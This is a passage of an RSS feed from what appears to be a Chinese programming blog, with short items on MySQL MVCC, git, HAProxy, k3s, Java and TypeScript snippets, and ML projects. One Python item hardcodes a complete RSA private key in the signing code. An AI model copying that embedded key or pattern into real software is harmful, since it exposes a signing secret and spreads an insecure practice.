在MySQL的众多存储引擎中，只有InnoDB支持事务，所有这里说的事务隔离级别指的是InnoDB下的事务隔离级别。&#xA;读未提交：一个事务可以读取到另一个事务未提交的修改。这会带来脏读、幻读、不可重复读问题。（基本没用）&#xA;读已提交：一个事务只能读取另一个事务已经提交的修改。其避免了脏读，但仍然存在不可重复读和幻读问题。&#xA;可重复读：同一个事务中多次读取相同的数据返回的结果是一样的。其避免了脏读和不可重复读问题，但幻读依然存在。&#xA;串行化：事务串行执行。避免了以上所有问题。&#xA;以上是SQL-92标准中定义的四种隔离级别。在MySQL中，默认的隔离级别是REPEATABLE-READ（可重复读），并且解决了幻读问题。简单的来说，mysql的默认隔离级别解决了脏读、不可重复读问题。&#xA;不可重复读重点在于update和delete，而幻读的重点在于insert。&#xA;在Mysql中MVCC是在Innodb存储引擎中得到支持的，Innodb为每行记录都实现了三个隐藏字段：&#xA;6字节的事务ID（DB_TRX_ID ）&#xA;7字节的回滚指针（DB_ROLL_PTR）&#xA;隐藏的ID（DB_ROW_ID）&#xA;6字节的事物ID用来标识该行所述的事务，7字节的回滚指针需要了解下Innodb的事务模型。&#xA;事务ID 事务ID是一个递增的整数，唯一的标识一个事务。ID的大小可以用来表示事务的串行化顺序，用于事务可见性的判断。&#xA;多版本存储 MySQL InnoDB实现了多版本并发控制（MVCC），在多版本存储上，MySQL采用从新到旧（Newest To Oldest）的版本链。B+Tree叶结点上，始终存储的是最新的数据（可能是还未提交的数据）。而旧版本数据，通过UNDO记录（做DELTA）存储在回滚段（Rollback Segment）里。每一条记录都会维护一个ROW HEADER元信息，存储有创建这条记录的事务ID，一个指向UNDO记录的指针。通过最新记录和UNDO信息，可以还原出旧版本的记录。&#xA;如下图， V1被一个事务更新为V2，V2被另一个事务更新为V3，Δ1存储V1到V2的更新，Δ2存储V2到V3的更新。此时，如果一个事条定位到B+Tree叶子节点的记录V3，则通过V3+Δ2可以还原出V2，通过V3+Δ2+Δ1可以还原出V1。&#xA;ReadView （或者可以称之为Snapshot）&#xA;ReadView是某一个时间点，事务执行状态的一个快照，可以用来判断事务的可见性。ReadView的基本结构如下：&#xA;ReadView { creator_trx_id low_limit_id up_limit_id ids .</description>
    </item>
    <item>
      <title>git的使用</title>
      <link>https://bchobby.github.io/posts/8d94bf0fe29bf0db77829f02f710abc7/</link>
      <pubDate>Tue, 13 Jun 2023 16:58:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d94bf0fe29bf0db77829f02f710abc7/</guid>
      <description>一、git简介 git是一款免费、开源的版本控制系统，用于高效地处理任何或大或小的项目。&#xA;作用：&#xA;文件存档备份&#xA;文件版本管理&#xA;多人协同合作（自动合并）&#xA;二、git的三个区域 工作区：处理工作的区域&#xA;暂存区：临时存放的区域&#xA;本地git仓库：最终的存放区域&#xA;1.在文件夹📁的体现 工作区：在你的电脑💻看到的目录&#xA;暂存区：在.git文件夹📁内的index中，以二进制记录📝&#xA;版本库：整个.git文件夹📁，也认为是本地仓库&#xA;2.在代码中的体现 三、配置全局的用户名和邮箱📮 配置全局的用户名和邮箱的作用：在以后的提交中，可以查看本次提交的记录是谁提交的。&#xA;git config 固定命令：设置git相关配置&#xA;--global 全局配置：一次配置，整机在使用git时都生效&#xA;git config --global user.name 你的用户名 git config --global user.email 你的邮箱地址 配置后，查看是否配置成功&#xA;git config --list 举例：&#xA;以后想要修改，可以重新执行一次配置命令覆盖即可&#xA;四、git基础命令 1.在本地新建一个文件夹📁 2.在新建的文件夹📁，运行以下命令，得到一个.git文件夹，即可让git开始准备管理 # 初始化git 仓库，产物：.git文件夹 git init .git是个隐藏文件夹&#xA;举例：&#xA;3.一次性把所有改变的文件放入暂存区 本地创建一些文件&#xA;举例：&#xA;# 这里.的意思是：当前目录下所有改变都暂存 git add . 举例：&#xA;4.把暂存区的内容提交到版本库 git commit -m &#34;提交的内容的说明&#34; 相当于存档了一次，在版本库中产生一次提交记录（并生成版本号）&#xA;本次存档，不耽误我们在工作区继续编写项目。&#xA;举例：&#xA;五、git查看日志和状态 查看所有提交日志 git log 举例：</description>
    </item>
    <item>
      <title>python RSASHA1加密</title>
      <link>https://bchobby.github.io/posts/903288fb0b823631ace7bdc50c9a230d/</link>
      <pubDate>Tue, 13 Jun 2023 15:49:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/903288fb0b823631ace7bdc50c9a230d/</guid>
      <description>from Crypto.PublicKey import RSA from Crypto.Signature import PKCS1_v1_5 from Crypto.Hash import SHA import base64 import warnings warnings.filterwarnings(&#34;ignore&#34;) def get_signature(test1, test2): private_key = &#34;&#34;&#34;MIICXQIBAAKBgQCVRVDNAAPMk3vHrh9KIdr3LRptz2vuq6XH5DQiZq5fPYjD6nm8 fMrL9gk+VJiANTj77Y3kN75SXjpYj2Ptx/vmsuDffZvGEMK7vHHVWbURCaZUTEbM CfIw5/94a56R51fS5X6mgBVryqLenUy+y5VfsYcRZn50XWId/3c9T7UQdQIDAQAB AoGAW3h+ayD3MwWtdE9fHS5h39XjvCa/HSJSFIvi5rHFaNdsV6H3t2lBXHsIbwmn 6eizYq3PpWoDVrYnSt2TfsJtuaGKFxYogPO50J91onxqHoCF1hIHED88/XTZdYDb PeKN5SQU+nOTV+fF1SWJsXhN7CncW0K8d+hJ9fJM/M+LcoECQQDGD70GVYZdPjIi Plu2C/WRRs2NJU6A9O5KR0/a7i0oVkzC9RX1M4VNfXhO4rD32ZZU7MardWbWE1Da 8bmmngZnAkEAwO/HfMja9Qer6h946Yv4US444GYDt2nNAe721E4UzGTQrbElma9x buGyUeOvkt7X5aAswDAMRjmZJors8DpQwwJAUgFsM3Yv1uWMnm8RS/PxrkARlZJP yccf7rNOFgitu9jXmZUejVLSq736lTb5LPXzb6BFtfI7LQH8ZVrWkm01mwJBAI48 d2nkPZ+k/zWD7ETpHrDijaXJL3Y5Npz1Sdzsj2K79CgIz/qEH/EpzKeYXqi9RpcP xc4N3g6rid+jTdgwdbcCQQCLMw/BSJJsKe8Croqgo8e3mfcTelC+jiXWVm1G/HkL GCtgsC7VRGsoyj3hMaiujCu16eg0hAMPWd15PDRvWxHj&#34;&#34;&#34; sign_str = &#34;test1=&#34; + &#34;%s&#34; % test1 + &#34;&amp;amp;&#34; + \ &#34;test2=&#34; + &#34;%s&#34; % test2 private_key_bytes = base64.b64decode(private_key) pri_key = RSA.importKey(private_key_bytes) signer = PKCS1_v1_5.new(pri_key, ) hash_obj = SHA.new(sign_str.encode(&#39;utf-8&#39;)) signature1 = base64.b64encode(signer.sign(hash_obj)) signature = signature1.</description>
    </item>
    <item>
      <title>Java课程设计——贪吃蛇小游戏</title>
      <link>https://bchobby.github.io/posts/6eb14b8ffad626cd41f389a7b4ac3d14/</link>
      <pubDate>Tue, 13 Jun 2023 15:36:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6eb14b8ffad626cd41f389a7b4ac3d14/</guid>
      <description>一.项目简介&#xA;二.项目构架图&#xA;三.团队成员以及任务简介&#xA;四.代码和git链接&#xA;五.项目运行图片 一.项目简介：设计目标及完成功能本软件是针对贪吃蛇小游戏的JAVA程序，利用上、下、左、右方向键来改变蛇的运动方向，在随机的地方产生食物，吃到食物就变成新的蛇体，碰自身则游戏结束，否则正常进行游戏。&#xA;二.项目构架图&#xA;三.团队成员任务简介&#xA;队长：张德群&#xA;任务：贪吃蛇游戏界面，贪吃蛇图像的引用，团队博客以及git的书写，以及贪吃蛇的移动；&#xA;队员：李连崧&#xA;任务：贪吃蛇长度的增加以及食物的生成，以及贪吃蛇的死亡条件。&#xA;四.代码。&#xA;1.Startgame类&#xA;import javax.swing.*;&#xA;public class Startgame {&#xA;public static void main(String[] args) {&#xA;/*&#xA;绘制一个静态窗口&#xA;*/&#xA;JFrame frame = new JFrame(&#34;贪吃蛇by张德群，李连崧&#34;);//创建一个窗口，参数是窗口标题显示的文字&#xA;frame.setBounds(430, 180, 900, 720);//设置一个窗口的大小&#xA;frame.setResizable(false);//窗口大小不可以改变&#xA;frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);//设置窗口可以关闭，此处填写参数3可以&#xA;frame.add(new GamePanel());//添加组件&#xA;frame.setVisible(true);//打开窗口&#xA;}&#xA;}&#xA;import javax.swing.*;&#xA;2.date类&#xA;public class date {&#xA;/*&#xA;此类用于存储图片信息&#xA;image和src是同一个级别的文件夹&#xA;*/ public static ImageIcon right = new ImageIcon(&#34;image/right.png&#34;);&#xA;public static ImageIcon body = new ImageIcon(&#34;</description>
    </item>
    <item>
      <title>【Haproxy 搭建Web 群集】</title>
      <link>https://bchobby.github.io/posts/0f423803840b476594ed0a508e9782ee/</link>
      <pubDate>Tue, 13 Jun 2023 14:28:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0f423803840b476594ed0a508e9782ee/</guid>
      <description>目录 一、Haoroxy 基础了解1、常见的Web集群调度器2、Haproxy 应用分析 二、Haproxy 调度算法原理三、HAProxy的主要特性四、HAProxy负载均衡策略五、LVS、Nginx、HAproxy的区别1、Nginx的优点，缺点2、LVS的优点和缺点3、HAProxy的优点 六、Haproxy搭建 Web 群集实验1、Haproxy 服务器部署2、节点服务器设置3、为 rsyslog 添加 haproxy 日志的配置 一、Haoroxy 基础了解 HAProxy是可提供高可用性、负载均衡以及基于TCP和HTTP应用的代理，是免费、快速并且可靠的一种解决方案。HAProxy非常适用于并发大（并发达1w以上）web站点，这些站点通常又需要会话保持或七层处理。HAProxy的运行模式使得它可以很简单安全的整合至当前的架构中，同时可以保护web服务器不被暴露到网络上。&#xA;1、常见的Web集群调度器 目前常见的Web 集群调度器分为软件和硬件&#xA;软件通常使用开源的LVS、Haproxy、Nginx&#xA;LVS 性能最好，但是搭建相对复杂;Nginx 的 upstream模块支持群集功能，但是对群集节点健康检查功能不强，高并发性能没有 Haproxy好。&#xA;硬件一般使用比较多的是F5、Array，也有很多人使用国内的一些产品，如梭子鱼、绿盟等&#xA;2、Haproxy 应用分析 LVS在企业应用中抗负载能力很强，但存在不足&#xA;·LVS不支持正则处理，不能实现动静分离&#xA;·对于大型网站，LVS的实施配置复杂，维护成本相对较高&#xA;Haproxy是一款可提供高可用性、负载均衡、及基于TCP和HTTP应用的代理的软件&#xA;·适用于负载大的Web站点&#xA;·运行在硬件上可支持数以万计的并发连接的连接请求&#xA;二、Haproxy 调度算法原理 Haproxy支持多种调度算法，最常用的有三种&#xA;1、RR&#xA;·RR算法是最简单最常用的一种算法，即轮询调度&#xA;·理解举例&#xA;有三个节点A、B、C 第一个用户访问会被指派到节点A 第二个用户访问会被指派到节点B 第三个用户访问会被指派到节点C 第四个用户访问继续指派到节点A，轮询分配访问请求实现负载均衡效果 2、LC (Least Connections)&#xA;·最小连接数算法，根据后端的节点连接数大小动态分配前端请求&#xA;·理解举例&#xA;有三个节点A、B、C，备节点的连接数分别为A:4、B:5、C:6 第一个用户连接请求，会被指派到A上，连接数变为A:5、B:5、C:6 第二个用户请求会继续分配到A上，连接数变为A:6、B:5、C:6;再有新的请求会分配给B，每次将新的请求指派给连接数最小的客户端 由于实际情况下A、B、C的连接数会动态释放，很难会出现一样连接数的情况 此算法相比较rr算法有很大改进，是目前用到比较多的一种算法 3、SH (Source Hashing)&#xA;·基于来源访问调度算法，用于一些有Session会话记录在服务器端的场景，可以基于来源的IP、Cookie等做集群调度&#xA;·理解举例&#xA;有三个节点A、B、C，第一个用户第一次访问被指派到了A ，第二个用户第一次访问被指派到了B 当第一个用户第二次访问时会被继续指派到A，第二个用户第二次访问时依旧会被指派到B，只要负载均衡调度器不重启，第一个用户访问都会被指派到A，第二个用户访问都会被指派到B，实现集群的调度 此调度算法好处是实现会话保持，但某些IP访问量非常大时会引起负载不均衡部分节点访问量超大，影响业务使用 三、HAProxy的主要特性 ●可靠性和稳定性非常好，可以与硬件级的F5负载均衡设备相媲美；&#xA;●最高可以同时维护40000-50000个并发连接，单位时间内处理的最大请求数为20000个，最大处理能力可达10Git/s；&#xA;●支持多达8种负载均衡算法</description>
    </item>
    <item>
      <title>突然出现K8s中pod无法通过Service的ClusterIP访问</title>
      <link>https://bchobby.github.io/posts/ea371d0e2c7cb246f4a2f5a4064e8507/</link>
      <pubDate>Tue, 13 Jun 2023 14:00:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ea371d0e2c7cb246f4a2f5a4064e8507/</guid>
      <description>该内容仅供出现同类问题参考。&#xA;K8S的集群通过k3s部署。&#xA;突然出现K3s中pod无法通过Service的ClusterIP访问。&#xA;通过curl ip:port 请求，出现No Route to Host 的问题。&#xA;参考文章K8s常见问题：Service 不能访问排查流程 排除后，发现所有配置都是正确的。&#xA;通过&#34;sudo iptables-save |grep xxxxxx&#34;命令在所有节点上查看配置后发现，能正常访问的服务在所有节点上配置均一致，不能正常访问的服务存在部分节点上配置不一致的情况。&#xA;处理处理办法，重启k3s或k3s-agent。</description>
    </item>
    <item>
      <title>个人对几个IDE的看法</title>
      <link>https://bchobby.github.io/posts/b029cab4df84036184c640848a8eb093/</link>
      <pubDate>Tue, 13 Jun 2023 13:40:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b029cab4df84036184c640848a8eb093/</guid>
      <description>（说明：本文仅表达个人看法，实际上文中的几个IDE功能不同，不能互相取代。截图上的程序均已发布）&#xA;个人认为一款IDE在功能完整的前提下，应当做到操作简便。另外，对缩放的兼容性也会影响观感。以下对本人用过的几款IDE进行分析。&#xA;1.Visual Studio（目前已经不使用了，不截图）&#xA;本人以前在电脑课上学过C语言，但由于不记得新建工程的流程，就另找了一个视频教程。视频上用的IDE是Visual Studio。个人感觉Visual Studio偏向多个文件的项目的管理，对于单个文件的项目来说新建工程的流程比较复杂。Visual Studio对缩放的兼容性不错。另一个问题是弃用了scanf（）等函数，给开发造成不便。后来发现安装的是试用版，过期了就换成Code Blocks了。后来了解到Visual Studio的社区版免费，但由于已经换了IDE，就没有换回Visual Studio。&#xA;2.Code Blocks&#xA;Code Blocks的主要优势是可以直接打开和运行.c文件，方便开发单个文件的程序；也提供了管理多个文件组成的程序的功能。不过据说在大型项目中Visual Studio的使用更为广泛，由于本人没有开发过PC上的大型项目，暂不对这一方面进行评论。Code Blocks对缩放的兼容性一般，界面会比较模糊。&#xA;3.VS Code（由于装在另一个系统，暂不截图）&#xA;本人使用VS Code主要是开发ROS程序。VS Code通过CMake进行工程管理，虽然通用性强但配置流程比较复杂，实际使用时还可能出现操作没问题但无法编译的情况。VS Code对缩放兼容性较好，界面清晰。&#xA;4.Keil5&#xA;本人使用Keil5开发stm32程序。Keil5内置管理多文件工程的功能，但在文件较多时添加文件还是比较麻烦。Keil5对缩放兼容性一般，有缩放时界面较模糊。&#xA;5.Thonny&#xA;本人使用Thonny开发Python和MicroPython程序。Thonny操作简便，可以直接打开.py文件，导入文件时只需要添加相应的代码，不需要另外的导入步骤。Thonny对缩放的兼容性好，界面清晰。&#xA;结语：&#xA;IDE对开发体验是有明显影响的。本人认为理想的IDE应当实现直接打开文件、直接使用include／import语句导入文件（C／Ｃ＋＋应该也可以采用这样的方式来确定文件的包含关系）、一键运行程序和兼容缩放。</description>
    </item>
    <item>
      <title>基于大数据的农产品价格数据分析</title>
      <link>https://bchobby.github.io/posts/9395370a3ef9e79383bd17c42b4d5f3f/</link>
      <pubDate>Tue, 13 Jun 2023 11:30:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9395370a3ef9e79383bd17c42b4d5f3f/</guid>
      <description>接下来让我分享一下我们近期所完成的一个大数据农产品价格数据分析平台，主要是分为三部分来实现，后端：python+flask，爬虫：python，前端：vue。&#xA;环境：Ubuntu&#xA;虚拟机软件：VMware17&#xA;所用技术：Hadoop、Spark、Vue、Python，Mysql&#xA;所用语言：Python、Vue&#xA;本系统是基于 hadoop+spark+vue 为主要技术研发的,使用 Ubuntu 作为平台支持， 前端使用虚拟机浏览器，采用前后端分离开发的模式，提高开发效率，对此相关技术支 持很多并且已经很成熟，所以在技术可行性方面上没有任何问题。&#xA;大概功能流程图如下：&#xA;系统使用流程基本如下：首先先打开虚拟机进去，然后先启动hadoop和spark。然后就进入python虚拟环境然后就可以进行运行后端。&#xA;启动方法：&#xA;配置号网络后：就在里面打开一个终端，先运行Hadoop和spark启动代码如下：&#xA;hadoop启动：&#xA;start-all.sh&#xA;启动spark /usr/local/spark/sbin/start-all.sh&#xA;启动完后就去打开pycharm&#xA;在这里面，打开pycharm后就进行运行代码：&#xA;点击到这个文件：&#xA;然后在下面的命令行启动py环境：conda activate py3.8&#xA;这样就是已经进入了&#xA;进入后就可以点击上面那个运行的三角形&#xA;这样的话就是运行成功了，然后就可以打开vscode，位置也是在&#xA;这个里面，打开vscode后就可以直接启动前端:npm run serve&#xA;然后前端启动成功后，直接点击那个运行成功的端口即可。&#xA;实现效果图大致如下：&#xA;核心后端代码如下：&#xA;sprak.py：&#xA;import yaml from pyspark import SparkConf from pyspark.sql import SparkSession app_name = &#34;agri-analysis-spark&#34; master = &#34;local[*]&#34; conf = SparkConf().setAppName(app_name).setMaster(master) spark = SparkSession.builder.config(conf=conf).getOrCreate() spark.conf.set(&#34;spark.sql.execution.arrow.pyspark.enabled&#34;, &#34;true&#34;) mysql_config = {} mysql_url = &#34;&#34; def init_sql(config_name): global mysql_config global mysql_url mysql_config = yaml.</description>
    </item>
    <item>
      <title>TXT文件怎么转换成PDF这种格式?分享给大家三个方法！</title>
      <link>https://bchobby.github.io/posts/7faa1a2781e8b921cb39d2d7e9ea202e/</link>
      <pubDate>Tue, 13 Jun 2023 11:30:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7faa1a2781e8b921cb39d2d7e9ea202e/</guid>
      <description>如果你是经常阅读电子小说的朋友，对于TXT格式的文档一定不会陌生。尽管TXT文档只包含纯文本，无法插入图片和表格等内容，但它仍然是一种非常重要的文档格式。有时候我们想使用某些只支持PDF格式的软件打开TXT文档，这时就需要将TXT转换为PDF格式。幸运的是，将TXT转换为PDF并不复杂，它与其他文档格式转换为PDF的方法类似，可以利用一些工具来实现快速转换。&#xA;一、记灵在线工具 首先推荐给大家的是记灵在线工具，它是一款专业的办公软件，提供了多种常用功能，包括文档转换为PDF、PDF分割合并、为PDF添加水印和密码等功能。只需要将TXT文档上传到记灵在线工具，就可以轻松实现一键转换。此外，记灵在线工具还支持同时处理多个文档，因此可以高效地一次性转换多个文档。&#xA;使用记灵在线工具非常方便，你可以通过浏览器直接访问其官网，在操作平台中选择所需的【TXT转PDF】选项。按照提示上传文档，然后点击【开始转换】即可完成转换。转换成功后，你可以自定义下载PDF文档到电脑上，随时使用。&#xA;二、万兴PDF转换器 万兴PDF转换器是另一个推荐的工具，它需要先下载并安装在电脑上。该软件的转换方式是先创建一个空白PDF文档，然后从本地文件中导入其他格式的文档，最后保存为PDF文档。&#xA;运行万兴PDF转换器后，点击菜单栏的【文件】-【创建】-【空白PDF文档】，然后再点击【打开文档】，将TXT格式的文档上传到软件中，就可以将TXT文档转换为PDF文档了。&#xA;万兴PDF转换器提供了简单而直观的操作界面，使得转换过程更加便捷。通过按照上述步骤，你可以轻松地将TXT文档转换为PDF格式。&#xA;三、电脑打印机 除了使用专业的转换工具外，还可以利用电脑自带的打印功能将TXT文档保存为PDF。首先，使用Windows系统电脑的默认程序打开TXT文档，然后点击【文件】下方的打印选项。在打印选项中选择“Wondershare PDF Expert”作为打印机，这样在正式打印之前可以先将文档保存为PDF。需要注意的是，这种方法需要先安装虚拟打印机才能操作，并且一次只能转换一份文档，相比专业的转换工具，效率较低。&#xA;一旦将TXT转换为PDF文档，其内容将保持不变，并且可以在许多软件中打开，更加方便阅读和分享。掌握TXT转PDF的方法对我们来说非常重要，因为它可以一次性成功转换多份文档。希望上述实用工具能帮助到大家，使用后可以将它们收藏起来，以备将来使用！</description>
    </item>
    <item>
      <title>vue3&#43;ts 使用qrcode(解决了找不到qrcode类型声明文件问题)</title>
      <link>https://bchobby.github.io/posts/ca9f956c9f2aedad615fd48b94be2e0a/</link>
      <pubDate>Tue, 13 Jun 2023 11:25:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca9f956c9f2aedad615fd48b94be2e0a/</guid>
      <description> 1.安装&#xA;全局安装：npm install -g qrcode安装类型声明：npm i --save-dev @types/qrcode 2.在所需处引用&#xA;import QRcode from &#34;qrcode&#34;; 3.配合canvas 生成二维码&#xA;&amp;lt;canvas id=&#34;canvas&#34; &amp;gt;&amp;lt;/canvas&amp;gt; //-----------------生命周期 onMounted(() =&amp;gt; { generateQRCode(qrCodeText.value) }) //-----------------自定义方法 //生成二维码 const qrCodeText = ref(&#39;https:xxxxx&#39;) const generateQRCode = (text: string) =&amp;gt; { const canvas = document.getElementById(&#39;canvas&#39;) QRcode.toCanvas(canvas, text, { margin: 0, width: 115 //自定义宽度 } ); return canvas //记得返回canvas } </description>
    </item>
    <item>
      <title>项目: 使用卷积神经网络CNN进行植物叶子分类</title>
      <link>https://bchobby.github.io/posts/e349d1ab6d96172c591631888578cc5c/</link>
      <pubDate>Tue, 13 Jun 2023 10:25:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e349d1ab6d96172c591631888578cc5c/</guid>
      <description>目录&#xA;1、引言&#xA;1.1、什么是深度学习？&#xA;1.2、项目的背景&#xA;1.3、数据集的选择与其意义&#xA;2、文献回顾&#xA;3、方法论&#xA;4、数据集预处理&#xA;5、实验设置&#xA;6、结果分析&#xA;1、叶片处理结果，image_size[224,224]:&#xA;2、测试集的模型准确率(accuracy)和损失(loss)的变换情况:&#xA;3、训练过程&#xA;4、模型分析评价&#xA;1、引言 1.1、什么是深度学习？ 深度学习 (DL，Deep Learning) 是机器学习 (ML，Machine Learning) 领域中的一种新的研究方向, 它通过学习样本数据的内在规律和表示层次，对文字、图像和声音等数据进行解释提供了重要帮助。作为一种复杂的机器学习算法，深度学习在语音和图像识别方面的效果远远超过以前的相关技术。在搜索技术、数据挖掘、机器翻译、自然语言处理、多媒体学习、语音识别、推荐系统、个性化技术等领域，深度学习已经取得了许多成果。&#xA;1.2、项目的背景 而近年来，深度学习技术的快速发展极大地推动了图像处理领域的研究进展。其中，植物叶片分类是一项具有挑战性且具有广泛应用前景的任务，如植物学和农业等领域。通过精确识别植物叶片的形态、硬度、颜色和纹理等特征，植物叶片分类有助于植物分类和疾病监测。本项目旨在使用卷积神经网络（CNN）算法构建植物叶片分类模型，以实现对不同种类植物叶片的准确分类。&#xA;1.3、数据集的选择与其意义 本项目的目标是使用深度学习方法对瑞典叶子数据集（Swedish leaf dataset）,该数据集包含了1125张叶片图片, 涵盖了15种不同的植物物种. 通过植物进行分类，对不同植物叶片的自动识别, 有助于我们更好地了解和监测植物物种的多样性和分布情况, 这对植物研究、生态学、评估生物多样性变化和环境监测等方面具有重要意义！&#xA;2、文献回顾 植物叶片分类的任务已经被广泛研究。例如，Khamparia等人（2019）使用SIFT（Scale-Invariant Feature Transform）算法提取叶片图像的特征，并结合支持向量机（SVM）对九种植物进行了分类。Landi等人（2019）则采用深度卷积神经网络对15种植物的叶子进行了分类。Elharrouss等人（2020）则通过应用深度卷积神经网络成功识别了三种水果叶子，并取得了高度精确的结果。&#xA;对于植物叶子分类任务，卷积神经网络（CNN）是一种常用且有效的方法。&#xA;3、方法论 在本项目中，我们采用了一种基于卷积神经网络（CNN）的模型结构来进行图像分类任务。该模型的结构由多个卷积层、池化层和全连接层组成。&#xA;首先，我们添加了一个卷积层，使用32个大小为3x3的卷积核对输入图像进行卷积操作。卷积操作可以提取图像中的局部特征。接着，我们应用了ReLU激活函数，用来引入非线性性质，增强模型的表达能力。 然后，我们添加了一个2x2的最大池化层，用于降低特征图的尺寸，减少计算量，并提取最显著的特征。&#xA;model = Sequential() model.add(Conv2D(32, (3, 3), input_shape=X.shape[1:])) model.add(Activation(&#39;relu&#39;)) model.add(MaxPooling2D(pool_size=(2, 2))) 然后，我们重复添加了几个类似的卷积层和池化层。这些层的目的是逐渐提取图像的更高级特征。我们通过增加卷积核的数量和深度，分别为64、128和64个，来捕捉图像中更丰富的信息。&#xA;model.add(Conv2D(64, (3, 3))) model.add(Activation(&#39;relu&#39;)) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Conv2D(128, (3, 3))) model.add(Activation(&#39;relu&#39;)) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Conv2D(64, (3, 3))) model.</description>
    </item>
    <item>
      <title>JAVA实现压缩解压文件</title>
      <link>https://bchobby.github.io/posts/088e1ba6de86fd6eaed1b01bfddd1670/</link>
      <pubDate>Tue, 13 Jun 2023 10:20:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/088e1ba6de86fd6eaed1b01bfddd1670/</guid>
      <description>1、源码运行前准备好文件夹 2、源码 package com.els.modules.inquiry.service.impl; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.nio.file.attribute.FileTime; import java.time.Instant; import java.util.Arrays; import java.util.Objects; import java.util.zip.Deflater; import java.util.zip.ZipEntry; import java.util.zip.ZipInputStream; import java.util.zip.ZipOutputStream; public class xc { public static void main(String[] args) { // 测试压缩和解压缩单文件ZIP // 被压缩的单文件 File inputFile = new File(&#34;C:\\Users\\HLT\\Desktop\\cs\\cs.docx&#34;); // 压缩文件保存ZIP文件路径名称 File zipFile = new File(&#34;C:\\Users\\HLT\\Desktop\\cs\\cs.zip&#34;); // 解压缩ZIP保存路径 File unzipFile = new File(&#34;C:\\Users\\HLT\\Desktop\\cs\\unzip&#34;); long start = System.currentTimeMillis(); // 压缩文件 zipCompress(inputFile, zipFile); long end = System.</description>
    </item>
    <item>
      <title>python AI工具库</title>
      <link>https://bchobby.github.io/posts/9a0ec9893c0f4c11760c2f4ed0397398/</link>
      <pubDate>Tue, 13 Jun 2023 10:00:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a0ec9893c0f4c11760c2f4ed0397398/</guid>
      <description>instructpix2pix，一种编辑图片的算法，输入图片和需求，生成对应结果。&#xA;在线使用：https://huggingface.co/spaces/timbrooks/instruct-pix2pix&#xA;musiclm，ai music， 音乐生成，图片或文字出音乐。&#xA;在线：&#xA;https://huggingface.co/spaces/Mubert/Text-to-Music&#xA;https://huggingface.co/spaces/fffiloni/img-to-music&#xA;chatgpt，聊天工具。&#xA;rome，人头3d建模。&#xA;在线使用：https://huggingface.co/spaces/Pie31415/rome&#xA;gfpgan，图片修复和抠图工具。&#xA;adrenaline，代码debug工具。&#xA;在线试用：https://useadrenaline.com/&#xA;facedancer，ai换脸。&#xA;在线使用：https://huggingface.co/spaces/felixrosberg/face-swap&#xA;novelai，画画。&#xA;lama cleaner，去水印修复图片。&#xA;minigpt-4，就是基于图片的chatgpt，上传一个图后可以依图提出各种要求和问题。&#xA;在线试用：https://minigpt-4.github.io/&#xA;inpaint-anything，傻瓜ps神器。&#xA;https://github.com/geekyutao/inpaint-anything&#xA;这个是导航网站，但大多可能用不了，姑且记录一下：&#xA;http://www.aigcget.com/&#xA;1&#xA;1&#xA;1</description>
    </item>
    <item>
      <title>适用于ts的防抖方法，防止打包编译报错</title>
      <link>https://bchobby.github.io/posts/c864588da97c823886961510712d6ea7/</link>
      <pubDate>Tue, 13 Jun 2023 09:44:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c864588da97c823886961510712d6ea7/</guid>
      <description> &amp;lt;van-search clearable :modelValue=&#34;searchValue&#34; @update:modelValue=&#34;changeSearchValue&#34; placeholder=&#34;请输入搜索关键词&#34; /&amp;gt; const searchValue = ref(&#39;&#39;); let changeSearch = (value: string) =&amp;gt; { searchValue.value = value; // 值变化时处理逻辑 }; /** * 防抖函数 */ let debounce = (fn: Function, delay: number) =&amp;gt; { let timer:NodeJS.Timeout; const func = function () { if(timer) clearTimeout(timer); timer = setTimeout(() =&amp;gt; { fn.apply(func, arguments); }, delay); }; return func }; let changeSearchValue = debounce(changeSearch, 500); </description>
    </item>
    <item>
      <title>【无标题】List去重常见方法效率比较</title>
      <link>https://bchobby.github.io/posts/ba9c943f445f2e76af59fe07bccd0485/</link>
      <pubDate>Tue, 13 Jun 2023 09:20:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba9c943f445f2e76af59fe07bccd0485/</guid>
      <description>Java中List去重的多种方案有以下几种：&#xA;使用Set进行去重&#xA;使用Set集合是非常常见的方法，因为Set具有不允许元素重复的特性，当我们把List的元素存放到Set中时，就自动实现了去重。这种方式简单易行，代码量少，但是由于需要将List中的数据存储到Set中，再转化为List，因此效率相对较低。&#xA;java&#xA;List list = Arrays.asList(1, 2, 1, 3, 4, 2);&#xA;List newList = new ArrayList&amp;lt;&amp;gt;(new HashSet&amp;lt;&amp;gt;(list));&#xA;借助Map实现去重&#xA;这种方式的原理是利用HashMap的key不重复的特性，遍历List时将List中的元素存放到HashMap中，这样重复的元素就自动被去掉了。这种方式比使用Set集合稍微复杂一些，但是处理效率却相对较高。&#xA;java&#xA;List list = Arrays.asList(1, 2, 1, 3, 4, 2);&#xA;Map&amp;lt;Integer, Integer&amp;gt; map = new HashMap&amp;lt;&amp;gt;();&#xA;for (Integer i : list) {&#xA;map.put(i, i);&#xA;}&#xA;List newList = new ArrayList&amp;lt;&amp;gt;(map.values());&#xA;Java8 Stream流去重&#xA;Java8中Stream流提供了很多便捷的API，包括去重。这种方式也非常简单，只需要使用Stream的distinct()方法即可。&#xA;java&#xA;List list = Arrays.asList(1, 2, 1, 3, 4, 2);&#xA;List newList = list.stream().distinct().collect(Collectors.toList());&#xA;下面是三种方法的效率比较：</description>
    </item>
    <item>
      <title>Ansible Copy 模块使用详解</title>
      <link>https://bchobby.github.io/posts/a03d9c1070ff28178eb5f2bc5cf00814/</link>
